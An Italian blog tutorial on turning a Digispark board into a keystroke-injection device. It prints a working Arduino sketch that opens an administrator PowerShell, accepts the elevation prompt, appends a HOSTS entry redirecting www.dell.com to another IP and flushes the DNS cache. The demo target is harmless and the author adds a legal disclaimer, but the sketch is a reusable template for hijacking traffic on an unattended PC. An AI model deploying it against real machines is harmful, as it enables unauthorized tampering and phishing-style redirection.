Nell'articolo Creare una Rubber Ducky economica con una scheda Digispark è stato mostrato come programmare una scheda Digispark per recuperare i profili Wi-Fi con relative credenziali ed inviarle in allegato ad un'email ad un indirizzo di posta elettronica.
In quest'articolo la scheda Digispark verrà programmata per modificare il file HOSTS in modo che la navigazione web verso alcuni domini venga dirottata ad un indirizzo/server di nostra scelta.
|
FIG 1 - Digispark Kickstarter |
ATTENZIONE:
Danneggiare/violare un sistema informatico (anche da remoto) rappresenta un reato penale. Le informazioni presenti in quest'articolo vanno utilizzate solo per testare/verificare sistemi di cui si è titolari. Declino ogni responsabilità civile e penale derivante da un utilizzo non legale delle informazioni presentate in questo articolo a solo scopo didattico.
Prima di procedere con la programmazione della scheda un breve accenno sul funzionamento del file HOSTS.
All'interno di una rete, che utilizza il protocollo TCP/IP, alle risorse viene generalmente assegnato un nome human-friendly in modo da facilitarne la connessione da parte degli utenti. Attraverso un processo chiamato risoluzione dei nomi, il sistema traduce il nome della risorsa nel corrispondente indirizzo IP. In ambiente Windows la risoluzione del nome di un host utilizza generalmente la seguente sequenza:
- Il client verifica se il nome da risolvere è il proprio;
- Viene interrogato il file HOSTS in locale sulla postazione;
- Viene interrogato un server DNS.
Il file HOSTS non è altro che un file di testo (visualizzabile e modificabile da un qualsiasi editor di testo) che contiene indirizzi IP e i corrispondenti nomi host. Ciascun indirizzo IP è separato dal nome host da uno spazio bianco (anche se per ragioni storiche spesso viene utilizzato il carattere di tabulazione come separatore). All'interno del file HOSTS è possibile trovare/inserire anche righe di commenti riconoscibili dal carattere hash (#) presente all'inizio della riga. Poiché il file HOSTS in ambiente Windows ha la precedenza sull'interrogazione dei server DNS, può essere utilizzato per bloccare l'accesso a specifici siti o a dirottare la navigazione.. A partire da Windows XP il file HOSTS si trova all'interno della cartella %windir%\System32\drivers\etc.
|
FIG 1 - File Hosts |
Per poter programmare la scheda Digispark, oltre gli opportuni driver, è necessario installare e configurare l'IDE di Arduino. Per questi passaggi e per informazioni più dettagliate sulla scheda rimando all'articolo precedente.
Per la programmazione del dispositivo:
- Scaricare il file Digispark_file_HOSTS.zip dal seguente link
DOWNLOAD
- Scompattare il file e cliccare 2 volte sul file Digispark_file_HOSTS.INO per aprirlo nell'IDE Arduino;
- Cliccare sul tasto carica per compilare e caricare il programma sul dispositivo. Quando richiesto, collegare la scheda Digispark e attendere il caricamento del programma.
|
FIG 2 - Programmare il dispositivo Digispark tramite l'IDE Arduino |
Terminato il caricamento, la scheda è pronta per essere usata. Basterà collegarla ad un PC con sistema operativo Windows 10 per modificare in pochi secondi il file HOSTS.
Rispetto a quanto visto nell'articolo precedente, il programma è molto più semplice:
#include "KeyboardIT.h"
void setup() {
}
void loop() {
DigiKeyboard.sendKeyStroke(0);
//Avvio prompt dei comandi come amministratore o PowerShell come amministratore in caso di Windows 10 aggiornato
DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_A);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
DigiKeyboard.delay(1500);
//Aggiunge riga al file HOSTS. Tentando di accedere al sito www.dell.com si viene dirottati all'indirizzo IP specificato
// che corrisponde all'indirizzo www8.hp.com
DigiKeyboard.println("ECHO 15.73.4.77 www.dell.com >> C:/WINDOWS/SYSTEM32/DRIVERS/ETC/HOSTS");
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
//Esegue la pulizia della cache dei DNS
DigiKeyboard.println("ipconfig /flushdns");
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
//chiude la finestra del prompt dei comandi/PowerShell
DigiKeyboard.println("exit");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
for(;;){ /*empty*/ }
}
In pratica viene avviato Windows PowerShell (amministratore) (nel caso di versioni di Windows 10 non aggiornate viene avviato un prompt dei comandi con i privilegi di amministratore) dopodiché con l'istruzione
DigiKeyboard.println("ECHO 15.73.4.77 www.dell.com >> C:/WINDOWS/SYSTEM32/DRIVERS/ETC/HOSTS");
viene aggiunta la seguente riga al file HOSTS
15.73.4.77 www.dell.com
In questo modo tutte le volte che l'utente tenterà di accedere a www.dell.com verrà dirottato all'indirizzo IP 15.73.4.77 che corrisponde al sito di HP (www8.hp.com)
Successivamente viene svuotata la cache dei DNS con l'istruzione
DigiKeyboard.println("ipconfig /flushdns");
e chiusa la finestra di PowerShell.